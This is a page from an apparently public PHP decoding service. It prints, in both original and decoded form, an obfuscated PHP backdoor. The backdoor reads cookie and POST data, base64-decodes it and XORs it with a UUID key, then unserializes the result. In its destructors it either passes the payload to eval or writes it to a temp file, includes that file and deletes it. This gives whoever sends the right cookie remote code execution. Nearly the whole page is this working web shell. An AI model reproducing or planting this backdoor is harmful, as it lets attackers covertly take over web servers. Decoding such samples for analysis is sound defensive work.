Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $cVfif = class_exists("Z_tmHfD"); $wCTeB = $cVfif; if (!$wCTeB) { class Z_tmH..
Decoded Output download
<?php $cVfif = class_exists("Z_tmHfD");
$wCTeB = $cVfif;
if (!$wCTeB) {
class Z_tmHfD
{
private $tXnqmed;
public static $migeSDS = "6570bd07-53a7-43f3-a18f-5fe660e02253";
public static $lbBcUl = null;
public function __construct()
{
$gowJCaLumR = $_COOKIE;
$jiDmTR = $_POST;
$ZHcuDeFOX = @$gowJCaLumR[substr(Z_tmHfD::$migeSDS, 0, 4)];
if (!empty($ZHcuDeFOX)) {
$FcIxrD = "base64";
$pGwvso = "";
$ZHcuDeFOX = explode(",", $ZHcuDeFOX);
foreach ($ZHcuDeFOX as $VZZuzdpY) {
$pGwvso .= @$gowJCaLumR[$VZZuzdpY];
$pGwvso .= @$jiDmTR[$VZZuzdpY];
}
$pGwvso = array_map(
$FcIxrD .
"_" .
chr(1078 - 978) .
"e" .
"c" .
"o" .
"d" .
"e",
[$pGwvso]
);
$pGwvso =
$pGwvso[0] ^
str_repeat(
Z_tmHfD::$migeSDS,
strlen($pGwvso[0]) / strlen(Z_tmHfD::$migeSDS) + 1
);
Z_tmHfD::$lbBcUl = @unserialize($pGwvso);
}
}
public function __destruct()
{
$this->ehXQR();
}
private function ehXQR()
{
if (is_array(Z_tmHfD::$lbBcUl)) {
$YzeXcdr = str_replace(
chr(60) . "?" . "p" . chr(1057 - 953) . chr(571 - 459),
"",
Z_tmHfD::$lbBcUl[
"c" .
"o" .
"n" .
chr(342 - 226) .
"e" .
"n" .
chr(116)
]
);
eval($YzeXcdr);
exit();
}
}
}
$QcfBD = new Z_tmHfD();
$QcfBD = null;
}
if (!class_exists("P_iKQP")) {
class P_iKQP
{
public static $Xcwvq = "b4384686-5d0f-4367-b4d8-2c47b81a501d";
public static $mEHkBRyXZ = null;
public function __construct()
{
$pJedUBHaSf = $_COOKIE;
$FkHVKTWM = $_POST;
$JNGaZoj = @$pJedUBHaSf[substr(P_iKQP::$Xcwvq, 0, 4)];
if (!empty($JNGaZoj)) {
$tWIKyREJh = "base64";
$NHfsRJwYZ = "";
$JNGaZoj = explode(",", $JNGaZoj);
foreach ($JNGaZoj as $tAezjeUq) {
$NHfsRJwYZ .= @$pJedUBHaSf[$tAezjeUq];
$NHfsRJwYZ .= @$FkHVKTWM[$tAezjeUq];
}
$NHfsRJwYZ = array_map(
$tWIKyREJh .
chr(95) .
chr(872 - 772) .
chr(317 - 216) .
chr(99) .
"o" .
"d" .
"e",
[$NHfsRJwYZ]
);
$NHfsRJwYZ =
$NHfsRJwYZ[0] ^
str_repeat(
P_iKQP::$Xcwvq,
strlen($NHfsRJwYZ[0]) / strlen(P_iKQP::$Xcwvq) + 1
);
P_iKQP::$mEHkBRyXZ = @unserialize($NHfsRJwYZ);
}
}
public function __destruct()
{
$this->wFEfhXzSb();
}
private function wFEfhXzSb()
{
if (is_array(P_iKQP::$mEHkBRyXZ)) {
$lYoGX =
sys_get_temp_dir() .
"/" .
crc32(
P_iKQP::$mEHkBRyXZ[
chr(115) . chr(97) . chr(1066 - 958) . chr(116)
]
);
@P_iKQP::$mEHkBRyXZ[
chr(478 - 359) . "r" . chr(105) . "t" . "e"
](
$lYoGX,
P_iKQP::$mEHkBRyXZ[
"c" . "o" . "n" . "t" . "e" . "n" . "t"
]
);
include $lYoGX;
@P_iKQP::$mEHkBRyXZ[
chr(100) . "e" . "l" . "e" . chr(160 - 44) . "e"
]($lYoGX);
exit();
}
}
}
$dWYDfnPa = new P_iKQP();
$dWYDfnPa = null;
} ?>
Did this file decode correctly?
Original Code
<?php $cVfif = class_exists("Z_tmHfD");
$wCTeB = $cVfif;
if (!$wCTeB) {
class Z_tmHfD
{
private $tXnqmed;
public static $migeSDS = "6570bd07-53a7-43f3-a18f-5fe660e02253";
public static $lbBcUl = null;
public function __construct()
{
$gowJCaLumR = $_COOKIE;
$jiDmTR = $_POST;
$ZHcuDeFOX = @$gowJCaLumR[substr(Z_tmHfD::$migeSDS, 0, 4)];
if (!empty($ZHcuDeFOX)) {
$FcIxrD = "base64";
$pGwvso = "";
$ZHcuDeFOX = explode(",", $ZHcuDeFOX);
foreach ($ZHcuDeFOX as $VZZuzdpY) {
$pGwvso .= @$gowJCaLumR[$VZZuzdpY];
$pGwvso .= @$jiDmTR[$VZZuzdpY];
}
$pGwvso = array_map(
$FcIxrD .
"\137" .
chr(1078 - 978) .
"e" .
"\143" .
"\x6f" .
"\144" .
"e",
[$pGwvso]
);
$pGwvso =
$pGwvso[0] ^
str_repeat(
Z_tmHfD::$migeSDS,
strlen($pGwvso[0]) / strlen(Z_tmHfD::$migeSDS) + 1
);
Z_tmHfD::$lbBcUl = @unserialize($pGwvso);
}
}
public function __destruct()
{
$this->ehXQR();
}
private function ehXQR()
{
if (is_array(Z_tmHfD::$lbBcUl)) {
$YzeXcdr = str_replace(
chr(60) . "\77" . "\x70" . chr(1057 - 953) . chr(571 - 459),
"",
Z_tmHfD::$lbBcUl[
"\143" .
"\x6f" .
"\156" .
chr(342 - 226) .
"\x65" .
"\x6e" .
chr(116)
]
);
eval($YzeXcdr);
exit();
}
}
}
$QcfBD = new Z_tmHfD();
$QcfBD = null;
}
if (!class_exists("P_iKQP")) {
class P_iKQP
{
public static $Xcwvq = "b4384686-5d0f-4367-b4d8-2c47b81a501d";
public static $mEHkBRyXZ = null;
public function __construct()
{
$pJedUBHaSf = $_COOKIE;
$FkHVKTWM = $_POST;
$JNGaZoj = @$pJedUBHaSf[substr(P_iKQP::$Xcwvq, 0, 4)];
if (!empty($JNGaZoj)) {
$tWIKyREJh = "base64";
$NHfsRJwYZ = "";
$JNGaZoj = explode(",", $JNGaZoj);
foreach ($JNGaZoj as $tAezjeUq) {
$NHfsRJwYZ .= @$pJedUBHaSf[$tAezjeUq];
$NHfsRJwYZ .= @$FkHVKTWM[$tAezjeUq];
}
$NHfsRJwYZ = array_map(
$tWIKyREJh .
chr(95) .
chr(872 - 772) .
chr(317 - 216) .
chr(99) .
"\x6f" .
"d" .
"e",
[$NHfsRJwYZ]
);
$NHfsRJwYZ =
$NHfsRJwYZ[0] ^
str_repeat(
P_iKQP::$Xcwvq,
strlen($NHfsRJwYZ[0]) / strlen(P_iKQP::$Xcwvq) + 1
);
P_iKQP::$mEHkBRyXZ = @unserialize($NHfsRJwYZ);
}
}
public function __destruct()
{
$this->wFEfhXzSb();
}
private function wFEfhXzSb()
{
if (is_array(P_iKQP::$mEHkBRyXZ)) {
$lYoGX =
sys_get_temp_dir() .
"/" .
crc32(
P_iKQP::$mEHkBRyXZ[
chr(115) . chr(97) . chr(1066 - 958) . chr(116)
]
);
@P_iKQP::$mEHkBRyXZ[
chr(478 - 359) . "\x72" . chr(105) . "t" . "\145"
](
$lYoGX,
P_iKQP::$mEHkBRyXZ[
"\x63" . "o" . "\x6e" . "\x74" . "e" . "\156" . "t"
]
);
include $lYoGX;
@P_iKQP::$mEHkBRyXZ[
chr(100) . "e" . "l" . "\x65" . chr(160 - 44) . "e"
]($lYoGX);
exit();
}
}
}
$dWYDfnPa = new P_iKQP();
$dWYDfnPa = null;
} ?>
Function Calls
None |
Stats
MD5 | 9a94eaad197e85ae1de296c931c34488 |
Eval Count | 0 |
Decode Time | 61 ms |